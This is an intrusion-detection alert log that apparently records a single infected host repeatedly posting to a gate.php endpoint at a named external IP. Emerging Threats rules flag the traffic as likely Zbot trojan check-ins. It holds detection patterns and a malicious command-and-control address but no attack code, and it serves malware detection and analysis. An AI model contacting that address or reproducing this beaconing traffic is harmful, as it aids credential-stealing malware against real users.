08/15/21-08:40:57.334797	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.334797	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.334797	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.482448	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.482448	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.482448	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.668186	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.668186	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.668186	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.829643	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.829643	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.829643	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.969184	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.969184	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:57.969184	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.108039	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.108039	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.108039	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.248552	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.248552	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.248552	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.389386	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.389386	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.389386	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.528800	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.528800	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.528800	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.669389	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.669389	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.669389	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.810306	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.810306	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.810306	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.951639	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.951639	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:58.951639	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.092679	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.092679	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.092679	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.258227	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.258227	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.258227	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.545315	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.545315	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.545315	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.686307	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.686307	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.686307	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.827623	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.827623	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.827623	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.969181	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.969181	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:40:59.969181	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.157994	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.157994	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.157994	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.296727	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.296727	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.296727	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.452163	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.452163	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.452163	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.591540	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.591540	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.591540	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.738322	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.738322	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.738322	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.872985	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.872985	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:00.872985	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.013817	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.013817	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.013817	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.154613	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.154613	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.154613	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.295050	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.295050	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.295050	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.435395	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.435395	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.435395	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.577360	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.577360	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.577360	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.726223	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.726223	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.726223	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.873836	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.873836	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:01.873836	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.013554	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.013554	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.013554	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.154312	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.154312	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.154312	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.294690	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.294690	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.294690	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.436224	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.436224	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.436224	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.576965	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.576965	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.576965	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.717376	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.717376	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.717376	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.858431	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.858431	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:02.858431	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.008049	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.008049	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.008049	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.158774	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.158774	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.158774	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.302764	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.302764	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.302764	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.452642	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.452642	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.452642	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.592964	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.592964	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.592964	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.743625	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.743625	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.743625	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.892770	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.892770	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:03.892770	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.030835	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.030835	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.030835	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.170034	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.170034	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.170034	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.310895	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.310895	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.310895	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.451908	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.451908	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.451908	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.592165	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.592165	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.592165	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.787552	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.787552	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:04.787552	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.060933	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.060933	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.060933	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.201983	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.201983	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.201983	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.361411	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.361411	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.361411	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.498536	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.498536	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.498536	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.639103	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.639103	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:05.639103	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.143025	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.143025	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.143025	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.301540	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.301540	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.301540	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.455919	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.455919	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:06.455919	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.546273	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.546273	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.546273	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.706978	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.706978	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.706978	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.864166	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.864166	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.864166	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.998483	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.998483	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:07.998483	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.140968	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.140968	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.140968	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.279831	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.279831	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.279831	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.424537	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.424537	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.424537	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.577456	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.577456	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.577456	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.718428	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.718428	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
